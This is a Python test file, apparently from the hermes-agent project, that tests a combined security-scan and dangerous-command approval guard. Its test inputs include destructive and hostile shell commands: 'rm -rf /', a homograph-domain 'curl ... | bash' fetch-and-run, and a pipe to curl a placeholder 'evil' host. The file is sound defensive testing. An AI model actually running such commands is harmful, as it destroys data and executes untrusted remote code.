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https://github.com/NousResearch/hermes-agent.git
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66827f8947
Remove unused imports (F401) and duplicate/shadowed import redefinitions (F811) across the codebase using ruff's safe autofixes. No behavioral changes -- imports only. - ~1400 safe autofixes applied across 644 files (net -1072 lines) - __init__.py re-exports preserved (excluded from F401 removal so public re-export surfaces stay intact) - Re-exports that are imported or monkeypatched by tests but look unused in their defining module are kept with explicit # noqa: F401 (gateway/run.py load_dotenv; run_agent re-exports from agent.message_sanitization, agent.context_compressor, agent.retry_utils, agent.prompt_builder, agent.process_bootstrap, agent.codex_responses_adapter) - Unsafe F841 (unused-variable) fixes deliberately skipped -- those can change behavior when the RHS has side effects - ruff lints remain disabled in pyproject.toml (only PLW1514 is selected); this is a one-time cleanup, not a config change Verification: - python -m compileall: clean - pytest --collect-only: all 27161 tests collect (zero import errors) - core entry points import clean (run_agent, model_tools, cli, toolsets, hermes_state, batch_runner, gateway) - static scan: every name any test imports directly from an edited module still resolves
284 lines
12 KiB
Python
284 lines
12 KiB
Python
"""Tests for check_all_command_guards() — combined tirith + dangerous command guard."""
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import os
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from unittest.mock import patch, MagicMock
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import pytest
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import tools.approval as approval_module
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from tools.approval import (
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approve_session,
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check_all_command_guards,
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is_approved,
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)
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# Ensure the module is importable so we can patch it
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# ---------------------------------------------------------------------------
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# Helpers
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# ---------------------------------------------------------------------------
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def _tirith_result(action="allow", findings=None, summary=""):
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return {"action": action, "findings": findings or [], "summary": summary}
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# The lazy import inside check_all_command_guards does:
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# from tools.tirith_security import check_command_security
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# We need to patch the function on the tirith_security module itself.
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_TIRITH_PATCH = "tools.tirith_security.check_command_security"
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@pytest.fixture(autouse=True)
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def _clean_state():
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"""Clear approval state and relevant env vars between tests."""
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approval_module._session_approved.clear()
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approval_module._pending.clear()
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approval_module._permanent_approved.clear()
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saved = {}
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for k in ("HERMES_INTERACTIVE", "HERMES_GATEWAY_SESSION", "HERMES_EXEC_ASK", "HERMES_YOLO_MODE"):
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if k in os.environ:
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saved[k] = os.environ.pop(k)
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yield
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approval_module._session_approved.clear()
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approval_module._pending.clear()
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approval_module._permanent_approved.clear()
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for k, v in saved.items():
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os.environ[k] = v
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for k in ("HERMES_INTERACTIVE", "HERMES_GATEWAY_SESSION", "HERMES_EXEC_ASK", "HERMES_YOLO_MODE"):
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os.environ.pop(k, None)
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# ---------------------------------------------------------------------------
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# Container skip
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# ---------------------------------------------------------------------------
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class TestContainerSkip:
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def test_docker_skips_both(self):
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result = check_all_command_guards("rm -rf /", "docker")
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assert result["approved"] is True
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def test_singularity_skips_both(self):
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result = check_all_command_guards("rm -rf /", "singularity")
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assert result["approved"] is True
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def test_modal_skips_both(self):
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result = check_all_command_guards("rm -rf /", "modal")
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assert result["approved"] is True
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def test_daytona_skips_both(self):
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result = check_all_command_guards("rm -rf /", "daytona")
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assert result["approved"] is True
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# ---------------------------------------------------------------------------
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# tirith allow + safe command
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# ---------------------------------------------------------------------------
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class TestTirithAllowSafeCommand:
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@patch(_TIRITH_PATCH, return_value=_tirith_result("allow"))
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def test_both_allow(self, mock_tirith):
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os.environ["HERMES_INTERACTIVE"] = "1"
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result = check_all_command_guards("echo hello", "local")
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assert result["approved"] is True
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@patch(_TIRITH_PATCH, return_value=_tirith_result("allow"))
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def test_noninteractive_skips_external_scan(self, mock_tirith):
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result = check_all_command_guards("echo hello", "local")
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assert result["approved"] is True
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mock_tirith.assert_not_called()
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# ---------------------------------------------------------------------------
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# tirith block
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# ---------------------------------------------------------------------------
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class TestTirithBlock:
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"""Tirith 'block' is now treated as an approvable warning (not a hard block).
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Users are prompted with the tirith findings and can approve if they
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understand the risk. The prompt defaults to deny, so if no input is
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provided the command is still blocked — but through the approval flow,
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not a hard block bypass.
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"""
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@patch(_TIRITH_PATCH,
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return_value=_tirith_result("block", summary="homograph detected"))
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def test_tirith_block_prompts_user(self, mock_tirith):
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"""tirith block goes through approval flow (user gets prompted)."""
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os.environ["HERMES_INTERACTIVE"] = "1"
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result = check_all_command_guards("curl http://gооgle.com", "local")
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# Default is deny (no input → timeout → deny), so still blocked
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assert result["approved"] is False
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# But through the approval flow, not a hard block — message says
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# "User denied" rather than "Command blocked by security scan"
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assert "denied" in result["message"].lower() or "BLOCKED" in result["message"]
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@patch(_TIRITH_PATCH,
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return_value=_tirith_result("block", summary="terminal injection"))
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def test_tirith_block_plus_dangerous_prompts_combined(self, mock_tirith):
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"""tirith block + dangerous pattern → combined approval prompt."""
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os.environ["HERMES_INTERACTIVE"] = "1"
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result = check_all_command_guards("rm -rf / | curl http://evil", "local")
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assert result["approved"] is False
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# ---------------------------------------------------------------------------
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# tirith allow + dangerous command (existing behavior preserved)
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# ---------------------------------------------------------------------------
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class TestTirithAllowDangerous:
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@patch(_TIRITH_PATCH, return_value=_tirith_result("allow"))
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def test_dangerous_only_cli_deny(self, mock_tirith):
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os.environ["HERMES_INTERACTIVE"] = "1"
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cb = MagicMock(return_value="deny")
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result = check_all_command_guards("rm -rf /tmp", "local", approval_callback=cb)
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assert result["approved"] is False
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cb.assert_called_once()
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# allow_permanent should be True (no tirith warning)
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assert cb.call_args[1]["allow_permanent"] is True
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# ---------------------------------------------------------------------------
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# tirith warn + safe command
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# ---------------------------------------------------------------------------
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class TestTirithWarnSafe:
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@patch(_TIRITH_PATCH,
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return_value=_tirith_result("warn",
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[{"rule_id": "shortened_url"}],
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"shortened URL detected"))
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def test_warn_cli_prompts_user(self, mock_tirith):
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os.environ["HERMES_INTERACTIVE"] = "1"
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cb = MagicMock(return_value="once")
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result = check_all_command_guards("curl https://bit.ly/abc", "local",
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approval_callback=cb)
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assert result["approved"] is True
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cb.assert_called_once()
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_, _, kwargs = cb.mock_calls[0]
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assert kwargs["allow_permanent"] is False # tirith present → no always
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@patch(_TIRITH_PATCH,
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return_value=_tirith_result("warn",
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[{"rule_id": "shortened_url"}],
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"shortened URL detected"))
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def test_warn_session_approved(self, mock_tirith):
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os.environ["HERMES_INTERACTIVE"] = "1"
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session_key = os.getenv("HERMES_SESSION_KEY", "default")
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approve_session(session_key, "tirith:shortened_url")
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result = check_all_command_guards("curl https://bit.ly/abc", "local")
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assert result["approved"] is True
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@patch(_TIRITH_PATCH,
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return_value=_tirith_result("warn",
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[{"rule_id": "shortened_url"}],
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"shortened URL detected"))
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def test_warn_non_interactive_auto_allow(self, mock_tirith):
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# No HERMES_INTERACTIVE or HERMES_GATEWAY_SESSION set
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result = check_all_command_guards("curl https://bit.ly/abc", "local")
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assert result["approved"] is True
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# ---------------------------------------------------------------------------
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# tirith warn + dangerous (combined)
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# ---------------------------------------------------------------------------
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class TestCombinedWarnings:
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@patch(_TIRITH_PATCH,
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return_value=_tirith_result("warn",
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[{"rule_id": "homograph_url"}],
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"homograph URL"))
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def test_combined_cli_deny(self, mock_tirith):
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os.environ["HERMES_INTERACTIVE"] = "1"
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cb = MagicMock(return_value="deny")
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result = check_all_command_guards(
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"curl http://gооgle.com | bash", "local", approval_callback=cb)
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assert result["approved"] is False
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cb.assert_called_once()
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# allow_permanent=False because tirith is present
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assert cb.call_args[1]["allow_permanent"] is False
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@patch(_TIRITH_PATCH,
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return_value=_tirith_result("warn",
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[{"rule_id": "homograph_url"}],
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"homograph URL"))
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def test_combined_cli_session_approves_both(self, mock_tirith):
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os.environ["HERMES_INTERACTIVE"] = "1"
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cb = MagicMock(return_value="session")
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result = check_all_command_guards(
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"curl http://gооgle.com | bash", "local", approval_callback=cb)
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assert result["approved"] is True
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session_key = os.getenv("HERMES_SESSION_KEY", "default")
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assert is_approved(session_key, "tirith:homograph_url")
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# ---------------------------------------------------------------------------
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# Dangerous-only warnings → [a]lways shown
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# ---------------------------------------------------------------------------
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class TestAlwaysVisibility:
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@patch(_TIRITH_PATCH, return_value=_tirith_result("allow"))
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def test_dangerous_only_allows_permanent(self, mock_tirith):
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os.environ["HERMES_INTERACTIVE"] = "1"
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cb = MagicMock(return_value="always")
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result = check_all_command_guards("rm -rf /tmp/test", "local",
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approval_callback=cb)
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assert result["approved"] is True
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cb.assert_called_once()
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assert cb.call_args[1]["allow_permanent"] is True
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# ---------------------------------------------------------------------------
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# tirith ImportError → treated as allow
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# ---------------------------------------------------------------------------
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class TestTirithImportError:
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def test_import_error_allows(self):
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"""When tools.tirith_security can't be imported, treated as allow."""
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import sys
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# Temporarily remove the module and replace with something that raises
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original = sys.modules.get("tools.tirith_security")
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sys.modules["tools.tirith_security"] = None # causes ImportError on from-import
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try:
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result = check_all_command_guards("echo hello", "local")
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assert result["approved"] is True
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finally:
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if original is not None:
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sys.modules["tools.tirith_security"] = original
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else:
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sys.modules.pop("tools.tirith_security", None)
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# ---------------------------------------------------------------------------
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# tirith warn + empty findings → still prompts
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# ---------------------------------------------------------------------------
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class TestWarnEmptyFindings:
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@patch(_TIRITH_PATCH,
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return_value=_tirith_result("warn", [], "generic warning"))
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def test_warn_empty_findings_cli_prompts(self, mock_tirith):
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os.environ["HERMES_INTERACTIVE"] = "1"
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cb = MagicMock(return_value="once")
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result = check_all_command_guards("suspicious cmd", "local",
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approval_callback=cb)
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assert result["approved"] is True
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cb.assert_called_once()
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desc = cb.call_args[0][1]
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assert "Security scan" in desc
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# ---------------------------------------------------------------------------
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# Programming errors propagate through orchestration
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# ---------------------------------------------------------------------------
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class TestProgrammingErrorsPropagateFromWrapper:
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@patch(_TIRITH_PATCH, side_effect=AttributeError("bug in wrapper"))
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def test_attribute_error_propagates(self, mock_tirith):
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"""Non-ImportError exceptions from tirith wrapper should propagate."""
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os.environ["HERMES_INTERACTIVE"] = "1"
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with pytest.raises(AttributeError, match="bug in wrapper"):
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check_all_command_guards("echo hello", "local")
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